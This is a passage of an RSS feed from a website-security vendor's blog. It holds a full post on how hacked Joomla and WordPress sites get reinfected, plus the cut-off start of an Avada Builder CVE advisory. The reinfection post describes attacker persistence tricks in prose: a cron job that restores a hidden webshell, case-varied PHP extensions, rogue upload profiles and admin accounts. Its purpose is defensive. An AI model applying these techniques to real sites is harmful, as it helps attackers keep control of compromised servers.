&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>security</category><category>hacked</category><category>malware</category><category>backdoor</category><category>monitoring</category><enclosure url="https://mysites.guru/img/og/blog/reinfected-check-every-crontab-not-just-yours.png" length="0" type="image/png"/></item><item><title>Hacked Yesterday, Exploited Today: Why One Cleanup Is Never the End</title><link>https://mysites.guru/blog/hacked-yesterday-exploited-today/</link><guid isPermaLink="true">https://mysites.guru/blog/hacked-yesterday-exploited-today/</guid><description>The first hack plants a dormant dropper. The real damage comes in the second wave, days or weeks later. Here is why monitoring beats one-shot cleanup.</description><pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Three unauthenticated remote-code-execution zero-days hit Joomla in June 2026, one after another: &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;. The patches are out, the scanners have moved on, and a few weeks later it all feels like it has settled down. That calm is the dangerous part. The first wave of attackers has done its job: it got in, dropped its files, and went quiet. Those files are still there, waiting.&lt;/p&gt;
&lt;p&gt;This is the part most “my site got hacked” advice gets wrong. A modern compromise is not a single event you clean up and forget. The first wave is reconnaissance and groundwork. It plants dormant uploaders, hidden admin accounts and malicious scheduled tasks that do nothing visible at first. Then the second wave arrives, days or weeks later, and uses that groundwork to plant more backdoors, inject JavaScript into your template files, redirect your homepage to spam, and turn the site to profit. Being hacked yesterday does not mean you are safe today. It usually means the opposite.&lt;/p&gt;
&lt;p&gt;That gap between the breach and the damage is exactly where reactive cleanup fails and monitoring earns its place. You cannot clean what you cannot see, and the second wave does not announce itself on the page a browser scanner checks. It changes files on disk, between scans, when no one is looking. Catching it means watching for those changes continuously, not running one scan after the horse has bolted.&lt;/p&gt;
&lt;h2&gt;How mySites.guru catches the second wave between two clean-looking scans&lt;/h2&gt;
&lt;p&gt;A dormant dropper planted in the first wave will not change the homepage your visitors see, so a browser-level scanner that loads your front page finds nothing. What it changes is files on disk. mySites.guru’s audit is built around that fact, and the most on-thesis tool in it is called &lt;strong&gt;Files Modified Between Audits&lt;/strong&gt;: it compares every file in this audit against the previous one and flags anything that changed in between. A backdoor that lay quiet through your last clean scan and woke up this week shows up here as a diff, in red, with the note “we highly recommend that you review these files.”&lt;/p&gt;
&lt;p&gt;Two more checks in the same audit hunt the rest of the second-wave kit. &lt;strong&gt;Check Files That Can Attempt To Upload Files&lt;/strong&gt; looks specifically for the dropper and uploader class of file, the small scripts an attacker leaves behind so they can return and upload more later. &lt;strong&gt;Changes To Core Joomla Files Should Be Avoided&lt;/strong&gt; (and its WordPress equivalent) hashes every core file against the official release, so injected JavaScript or a modified &lt;code&gt;index.php&lt;/code&gt; is caught even when the file looks like it belongs.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;An audit is a point-in-time snapshot. For the gap between audits, mySites.guru also offers a near-real-time File Watch List: add files like configuration.php, wp-config.php or your template&apos;s index.php, and the on-site plugin recomputes their checksum on every page load and emails you the instant the content changes.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The reason this matters is that the audit reads every file on the server, line by line, including the dot-prefixed and oddly-named ones a scanner never opens. During the JCE wave, attackers dropped webshells with &lt;code&gt;.xml.php&lt;/code&gt; double extensions into &lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;images&lt;/code&gt; and &lt;code&gt;media&lt;/code&gt; folders. A scan of your rendered homepage will never find a &lt;code&gt;.xml.php&lt;/code&gt; file sitting in &lt;code&gt;/images&lt;/code&gt;. A file-level audit that hashes everything will. That is the whole difference between checking what your visitors see and checking what is actually on your server.&lt;/p&gt;
&lt;p&gt;Here is what that looks like on a real site, caught in an audit. These are confirmed backdoors, flagged “Hacked File” against a known-bad hash, sitting and waiting:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A mySites.guru audit listing six confirmed hacked files: SP Page Builder dropper scripts ending in .PHP and a hidden .htaccess inside a fonts folder, all dated two days ago, plus a randomly-named PHP shell in /images/administrator dated two weeks ago, each marked Hacked File with flag, AI-analysis and delete buttons&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2160px) 2160px, 100vw&quot; width=&quot;2160&quot; height=&quot;562&quot; src=&quot;https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_2hMVih.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_sgcba.webp 640w, https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_290svk.webp 750w, https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_90wt7.webp 828w, https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_Z2qbkeI.webp 1080w, https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_Z1R4mOx.webp 1280w, https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_Zh3AY7.webp 1668w, https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_Z2eLI4V.webp 2048w, https://mysites.guru/_astro/hacked-yesterday-dormant-backdoors-audit.CA7ou7c5_2hMVih.webp 2160w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Look at the dates. One shell, &lt;code&gt;314a3aeeae46d13e.php&lt;/code&gt; in &lt;code&gt;/images/administrator&lt;/code&gt;, was planted two weeks ago. The rest, scattered through &lt;code&gt;/media/com_sppagebuilder/assets/iconfont/&lt;/code&gt; as &lt;code&gt;.PHP&lt;/code&gt; files and a &lt;code&gt;.htaccess&lt;/code&gt; hidden in a fonts folder, appeared two days ago. Two separate visits, two waves, both dormant. None of them changed a single thing a visitor would see, which is exactly why an external scanner that only reads your rendered pages walks straight past them. mySites.guru found all six because it audits under the hood: every file, every line.&lt;/p&gt;
&lt;h2&gt;What does a dormant dropper actually do?&lt;/h2&gt;
&lt;p&gt;A dropper is a small uploader script that does nothing visible when it is first planted. It waits. When the attacker comes back, it pulls down whatever they want next: a fuller webshell, an SEO spam directory, a credit-card skimmer, a crypto drainer. Uploaders are not a rare exotic. In Sucuri’s analysis of website reinfection, the single most common backdoor type found was an uploader, “a PHP script that allows attackers to upload any file that they want.” Attackers favour them because they enable the later waves.&lt;/p&gt;
&lt;p&gt;This is why the timeline of a compromise looks the way it does. The first wave is fast and quiet. It exploits the vulnerability, plants the dropper, maybe creates a hidden admin account, and leaves. There is often no defacement, no obvious redirect, nothing a casual look at the site would catch. Owners who do notice clean up the one file they found and assume it is over. It is not over. The dropper is still there, and so is whatever else the attacker seeded for persistence.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;WordPress supply-chain backdoor in the Essential Plugin portfolio&lt;/a&gt; is the cleanest illustration of the timeline. A buyer acquired the plugins, planted a backdoor in August 2025, and let it sit &lt;strong&gt;dormant for eight months&lt;/strong&gt; before activating it in April 2026 to inject SEO spam and open a remote-code-execution endpoint. Eight months between the plant and the payload. A scan run in, say, December would have shown a perfectly healthy site.&lt;/p&gt;
&lt;h2&gt;Why does a cleaned site get hacked again within minutes?&lt;/h2&gt;
&lt;p&gt;A site that keeps getting reinfected almost always comes down to one of five things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The clean was not complete.&lt;/strong&gt; The visible malware is the part you are meant to find and remove. Underneath it sits the persistence layer: compromised FTP credentials, dormant droppers and a row of webshells you never spotted. Miss one and the attacker is still inside. This is exactly what a full file-level audit is for: use the mySites.guru tools to find every backdoor, not just the one you tripped over.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The original way in was never closed.&lt;/strong&gt; Even a perfect clean is pointless if the hole that let them in is still open. If the site was breached through an outdated JCE Editor and you never upgrade it, the attacker simply re-exploits the same unauthenticated vulnerability and walks straight back through the front door, fresh shells in hand. Fixing the symptom without fixing the root entry point is not a fix at all.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;A scheduled task is rebuilding the malware for them.&lt;/strong&gt; Attackers plant cron jobs whose only purpose is to rewrite the payload the moment it disappears, so the site re-infects itself with no second visit required. The catch is that the cron is often not in your own account, so &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;check every crontab on the server, not just yours&lt;/a&gt;. On WordPress it may not be in any crontab at all: &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;WP-Cron events live in the database&lt;/a&gt;, where nothing on the server can see them. Joomla 4.1 and later has the same problem in &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;its own scheduled tasks table&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The super admin accounts were never checked.&lt;/strong&gt; A clean that only touches files ignores the database, where attackers add their own super-user account or promote an existing one. With a valid login they do not need the original vulnerability or a webshell at all: they log straight in and re-plant everything. &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;List every super admin on every site you manage&lt;/a&gt;, confirm you recognise each one, and delete the rest. On WordPress, read that list from the database rather than the Users screen, because &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;an account can be filtered out of the screen while sitting in the table&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Something never stopped running.&lt;/strong&gt; If the malware is back within seconds rather than minutes, nothing is being triggered at all. Deleting a file does not stop a program already started from it, so &lt;a href=&quot;https://mysites.guru/blog/processes-running-deleted-code/&quot;&gt;a PHP process can sit in memory rewriting the file&lt;/a&gt; as fast as you remove it, with no file left on disk for a scan to find.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Points one and two are about being thorough and patching properly, and point four about auditing who can log in. Point three is the one that catches even careful people out, so it is worth seeing in the wild.&lt;/p&gt;
&lt;p&gt;We saw exactly this on a live Joomla server this week. A mySites.guru audit surfaced a cron job, running every five minutes, that checks whether a hidden webshell (&lt;code&gt;.sys-mta-miud.php&lt;/code&gt;) is still sitting in the public web root and, if it has gone, copies a stashed backup of it (&lt;code&gt;.sys_xicyll.php&lt;/code&gt;, tucked away in a &lt;code&gt;.cache&lt;/code&gt; directory) straight back into place. The leading dots hide the files from a casual directory listing, the innocuous &lt;code&gt;# SYSCHK&lt;/code&gt; comment makes the line look like a routine system check, and &lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt; swallows any error. Delete the shell and it is back inside five minutes.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A mySites.guru audit panel titled CRON JOBS discovered read only, showing a malicious crontab entry highlighted in red that runs every five minutes and copies a hidden .sys_xicyll.php backup back to .sys-mta-miud.php in the web root if it is missing, labelled with a fake SYSCHK comment&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1854px) 1854px, 100vw&quot; width=&quot;1854&quot; height=&quot;380&quot; src=&quot;https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Zsm9kN.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_ZYzGkd.webp 640w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_ZEViP7.webp 750w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Z2lk29R.webp 828w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Z2hFaOp.webp 1080w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Z13CNnK.webp 1280w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_ZAt7h.webp 1668w, https://mysites.guru/_astro/hacked-yesterday-reinfection-cron.g1HjOXMT_Zsm9kN.webp 1854w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is why restoring files alone never finishes the job:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;Even if you restore all your files and database from a clean backup and close all known vulnerabilities, the malicious scheduled tasks will still be there and will reinfect your site in a few minutes. Restoring files is not the same as closing every backdoor.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is the norm, not a rare worst case. In Sucuri’s 2023 hacked-website data, &lt;strong&gt;49.21% of compromised sites contained at least one backdoor&lt;/strong&gt;, and among sites with database-level malware, &lt;strong&gt;55.2% had a malicious admin user&lt;/strong&gt; left behind for re-entry. Layered persistence is how these campaigns are designed. Removing one backdoor when the site has three, plus a rogue admin and a cron job, just resets the clock.&lt;/p&gt;
&lt;p&gt;The JCE wave is a textbook example of designing for repeat entry. Attackers did not leave a single way back in, they left a row of them. This audit found fourteen rogue editor profiles, all named &lt;code&gt;__pwn_traverse__&lt;/code&gt;, each one configured to allow uploading dangerous &lt;code&gt;.php&lt;/code&gt; and wildcard files through the editor, plus a machine-generated profile (&lt;code&gt;J144757&lt;/code&gt;) matching the attacker’s naming pattern. Every one of those profiles is a standing door. Delete the webshell and they walk back through the next profile, upload another, and carry on. That is how a site gets hacked again, and again, and again, long after the first cleanup looked like it worked.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A mySites.guru audit listing rogue JCE editor profiles all named pwn_traverse numbered 8 through 14, each flagged in red as Profile allows uploading dangerous files (.php / wildcard) through the editor, plus a profile J144757 flagged as a machine-generated name matching the attacker label pattern&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2064px) 2064px, 100vw&quot; width=&quot;2064&quot; height=&quot;788&quot; src=&quot;https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_Z1xKXJD.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_ZxFKMS.webp 640w, https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_ZYgcrt.webp 750w, https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_bOgk7.webp 828w, https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_2d36WU.webp 1080w, https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_Z24fsta.webp 1280w, https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_jAdIF.webp 1668w, https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_R2M42.webp 2048w, https://mysites.guru/_astro/hacked-yesterday-rogue-jce-profiles.OSptpvWa_Z1xKXJD.webp 2064w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The same redundancy shows up in the shell files themselves. On this site the attacker dropped the identical payload into &lt;code&gt;/images/media&lt;/code&gt; five times over, changing only the case of the extension: &lt;code&gt;sauk872_1781619699.php&lt;/code&gt;, &lt;code&gt;.pHp&lt;/code&gt; and &lt;code&gt;.pHP&lt;/code&gt;, alongside &lt;code&gt;loqnip.php&lt;/code&gt; and &lt;code&gt;pnszqf.php&lt;/code&gt;, all planted in the same visit two weeks ago. The casing trick is intended. A hand-written cleanup that searches for &lt;code&gt;*.php&lt;/code&gt; in lowercase, or a server rule that blocks one casing, leaves the &lt;code&gt;.pHp&lt;/code&gt; and &lt;code&gt;.pHP&lt;/code&gt; copies live and executable. A hash-based audit does not care about the extension at all, so it flagged every copy as a confirmed hacked file.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A mySites.guru audit showing five malicious PHP shells in /images/media, including the same file sauk872_1781619699 uploaded three times with case-varied extensions .pHp, .php and .pHP, each flagged as a Hacked File dated two weeks ago&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1742px) 1742px, 100vw&quot; width=&quot;1742&quot; height=&quot;480&quot; src=&quot;https://mysites.guru/_astro/hacked-yesterday-duplicate-case-varied-shells.D7pJho8n_Z1kgYKo.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacked-yesterday-duplicate-case-varied-shells.D7pJho8n_12uBeb.webp 640w, https://mysites.guru/_astro/hacked-yesterday-duplicate-case-varied-shells.D7pJho8n_1BaVz.webp 750w, https://mysites.guru/_astro/hacked-yesterday-duplicate-case-varied-shells.D7pJho8n_24DXTU.webp 828w, https://mysites.guru/_astro/hacked-yesterday-duplicate-case-varied-shells.D7pJho8n_Z1FwzNv.webp 1080w, https://mysites.guru/_astro/hacked-yesterday-duplicate-case-varied-shells.D7pJho8n_Z1UqfLG.webp 1280w, https://mysites.guru/_astro/hacked-yesterday-duplicate-case-varied-shells.D7pJho8n_cYoh9.webp 1668w, https://mysites.guru/_astro/hacked-yesterday-duplicate-case-varied-shells.D7pJho8n_Z1kgYKo.webp 1742w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The second wave on the page: injected JavaScript, redirects and spam&lt;/h2&gt;
&lt;p&gt;Once the dropper has done its work, the second-wave payload is built for money. The dominant forms are malicious JavaScript and conditional redirects. Injected JavaScript in a template or theme file runs in every visitor’s browser, and it is not always the theme: we found a &lt;a href=&quot;https://mysites.guru/blog/fake-cloudflare-captcha-wordpress-core-functions-php/&quot;&gt;fake Cloudflare captcha&lt;/a&gt; that tells visitors to paste a command into the Windows Run box injected into a WordPress core file. A conditional redirect bounces traffic from Google to spam or phishing while leaving the site looking normal when you visit it directly. Sucuri’s 2024 scan data found malware and malicious redirects on &lt;strong&gt;74.7% of infected sites&lt;/strong&gt; and SEO spam on &lt;strong&gt;38.4%&lt;/strong&gt;, alongside crypto drainers and credit-card skimmers for direct financial theft.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/&quot;&gt;mass &lt;code&gt;.htaccess&lt;/code&gt; injection we built a one-click cleaner for&lt;/a&gt; is this exact mechanism at scale. On a hacked Joomla or WordPress site we have seen close to 9,000 malicious &lt;code&gt;.htaccess&lt;/code&gt; files, one in nearly every folder, each with a redirect or PHP-injection rule. They are spread that wide for coverage and persistence: a hidden backdoor rewrites them within minutes of deletion, so cleaning the root file alone achieves nothing. That is the second wave in physical form, thousands of files planted to still be there after your cleanup, with a dropper standing by to replace any you remove.&lt;/p&gt;
&lt;p&gt;The newer trend is worse for anyone relying on file scans alone. Campaigns like Sign1 increasingly store their payload in the database (in WordPress options rows) rather than in files, which is why a once-and-done file scan misses them and continuous, multi-layer monitoring does not. The &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt; hitting unpatched Helix3 Joomla sites en masse since 5 July does the same thing: the defacement lives in the template settings in the database, so every clean file scan comes back green while the skull is still on the homepage.&lt;/p&gt;
&lt;h2&gt;Why monitoring beats a one-time scan&lt;/h2&gt;
&lt;p&gt;Every reinfection report comes back to the same point. Cleanup is necessary but it is not enough, because the attacker planned for your cleanup. What actually protects a site is continuous visibility: knowing what changed, and when, so a dropper that wakes up three weeks after the breach is caught the moment it touches a file.&lt;/p&gt;
&lt;p&gt;Sucuri’s own recommendation for self-reinstalling malware is “a file integrity monitoring service that resides mostly outside of the environment itself,” comparing file hashes against known-good copies so you can see tampering even when the malware is built to hide. That is the principle mySites.guru runs on across every site you manage: an audit that diffs files between scans, an uploader hunter for the dropper class specifically, core-file hash verification, renamed-file detection for the &lt;code&gt;.bak&lt;/code&gt; and &lt;code&gt;.old&lt;/code&gt; stash trick, and a near-real-time File Watch List for the files you most want to guard. The hash list behind it has more than 14,000 confirmed known-bad files and over 2,000 hand-written content patterns, updated daily, and a hack found on one connected site is checked for on every other site’s next audit.&lt;/p&gt;
&lt;p&gt;When we find an actively exploited Joomla zero-day, we do not just forward a CVE. With the iCagenda flaw we reproduced it ourselves, confirmed it was being exploited in the wild before any patch existed, filed responsible disclosure with the vendor, alerted every affected account, then code-reviewed JoomliC’s 4.0.8 fix the same day it shipped and told users it was safe to reinstate. That is the level of attention the second wave demands, and it is why monitoring is not a slogan here, it is how the tooling is built.&lt;/p&gt;
&lt;p&gt;If you suspect a site is compromised, start with &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;whether your site is hacked&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full hacked-site cleanup process&lt;/a&gt;, then use the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hack and backdoor detection&lt;/a&gt; to find what the first wave left behind. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start a free audit&lt;/a&gt; and see what is already sitting on your server, waiting.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2021/11/an-overview-of-website-reinfection-vectors.html&quot;&gt;An Overview of Website Reinfection Vectors&lt;/a&gt; - Sucuri on why uploaders are the most common backdoor and how attackers guarantee they can return.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2023/02/attackers-abuse-cron-jobs-to-reinfect-websites.html&quot;&gt;Attackers Abuse Cron Jobs to Reinfect Websites&lt;/a&gt; - the mechanism behind sites that reinfect within minutes of cleanup.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2026/03/web-shells.html&quot;&gt;Web Shells&lt;/a&gt; - Sucuri on how webshells evade detection without continuous monitoring.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.yeswehack.com/news/rce-joomla-content-editor-extension&quot;&gt;RCE in the Joomla Content Editor Extension&lt;/a&gt; - YesWeHack’s technical write-up of the JCE chain (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/06/16/cisa-adds-one-known-exploited-vulnerability-catalog&quot;&gt;CISA Known Exploited Vulnerabilities Catalog&lt;/a&gt; - the federal advisory that confirmed the JCE flaw was being actively exploited.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>security</category><category>hacked</category><category>malware</category><category>backdoor</category><category>monitoring</category><enclosure url="https://mysites.guru/img/og/blog/hacked-yesterday-exploited-today.png" length="0" type="image/png"/></item><item><title>Avada Builder 3.15.4 Patches an Unauthenticated File Deletion Flaw (CVE-2026-8713)</title><link>https://mysites.guru/blog/avada-builder-cve-2026-8713/</link><guid isPermaLink="true">https://mysites.guru/blog/avada-builder-cve-2026-8713/</guid><description>Avada Builder 3.15.4 fixes a critical unauthenticated file deletion flaw (CVE-2026-8713, CVSS 9.1) that can delete wp-config.php and take over the site.</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Avada Builder, the plugin bundled with the Avada theme by ThemeFusion, runs on around 1 million WordPress sites. On 19 June 2026 a new CVE was published against it: &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8713&quot;&gt;CVE-2026-8713&lt;/a&gt;, an unauthenticated arbitrary file deletion flaw rated &lt;strong&gt;CVSS 9.1 Critical&lt;/strong&gt;. The fix shipped weeks earlier in version &lt;strong&gt;3.15.4&lt;/strong&gt;, released on 2 June 2026.&lt;/p&gt;
&lt;p&gt;This is a more dangerous bug than the &lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/&quot;&gt;file read and SQL injection pair we covered in 3.15.3&lt;/a&gt;. Those leaked data. This one deletes it. An unauthenticated attacker can submit a crafted payload through a public Avada form and delete any file on the server, and deleting the right file turns into a full site takeover. Update to &lt;strong&gt;3.15.4&lt;/strong&gt; now.&lt;/p&gt;
&lt;p&gt;If you manage WordPress sites for clients, the advisory is the easy bit. The work is figuring out which of your sites are still on 3.15.3 or earlier, then pushing the update to every one of them. Across the mySites.guru network we track Avada Builder on nearly 1,000 sites belonging to hundreds of agencies, and when we checked our own connected sites against this CVE, every single Avada Builder install we monitor was on a version below the 3.15.4 fix. No one had updated yet. That gap is the whole point of this post.&lt;/p&gt;
&lt;h2&gt;Finding Every Avada Builder Site in Your Portfolio&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each one and check the Plugins screen. Past that, you need a single view. The Plugins screen approach is slow, error-prone, and only tells you what was on disk the last time someone looked.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;mySites.guru’s WordPress Extensions inventory&lt;/a&gt; tracks every installed plugin across every connected site, refreshed on each snapshot. Search for “Avada Builder” (or the slug &lt;code&gt;fusion-builder&lt;/code&gt;) and you get every version across your portfolio, grouped by version number, with a “Which sites?” button that lists exactly where each version is running.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru subscribers: find every Avada Builder install across your sites&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/3a2c29cdb121e7ed00f8c72348c05e82&quot;&gt;Open Avada Builder Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every version of Avada Builder across your connected sites. Anything on 3.15.3 or earlier needs the 3.15.4 patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The same inventory feeds the vulnerability scanner. mySites.guru cross-references every installed plugin against the &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Wordfence Vulnerability API&lt;/a&gt; twice a day, so when a CVE like CVE-2026-8713 drops, sites running affected versions get flagged with a red warning banner. No security feeds to watch.&lt;/p&gt;
&lt;h2&gt;Bulk Updating Avada Builder Across Hundreds of Sites&lt;/h2&gt;
&lt;p&gt;Once you know which sites need updating, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites that need 3.15.4, push the update across all of them from one screen. The same workflow covers any plugin, theme, or core update, so the routine you wire up once works for every future CVE. Pair it with the &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup or All-In-One Migration integration&lt;/a&gt; to back up each selected site first.&lt;/p&gt;
&lt;p&gt;With a file deletion flaw the backup-first habit earns its keep twice over. If a site was hit before you patched, the missing file is the damage, and a recent backup is your fastest route to a working site.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;For agencies managing 50+ WordPress sites&lt;/p&gt;&lt;p&gt;Avada Builder ships with the Avada theme, so most clients running Avada have this plugin whether they know it or not. The patch is the easy bit; the inventory is the work. &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;See how bulk updates work in mySites.guru&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;If the patch needs more than a quick test on a particular site, deactivating Avada Builder takes the vulnerable form handler out of play while you schedule a maintenance window. Alternatively, removing or unpublishing any public Avada form that stores entries to the database closes the precondition the attack needs.&lt;/p&gt;
&lt;h2&gt;CVE-2026-8713: Unauthenticated Arbitrary File Deletion&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.1&lt;/span&gt;&lt;span&gt;CVSS 3.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Wordfence&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 3.1 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;S:U&lt;/dt&gt;&lt;dd&gt;Unchanged: Contained to the extension it is in&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it 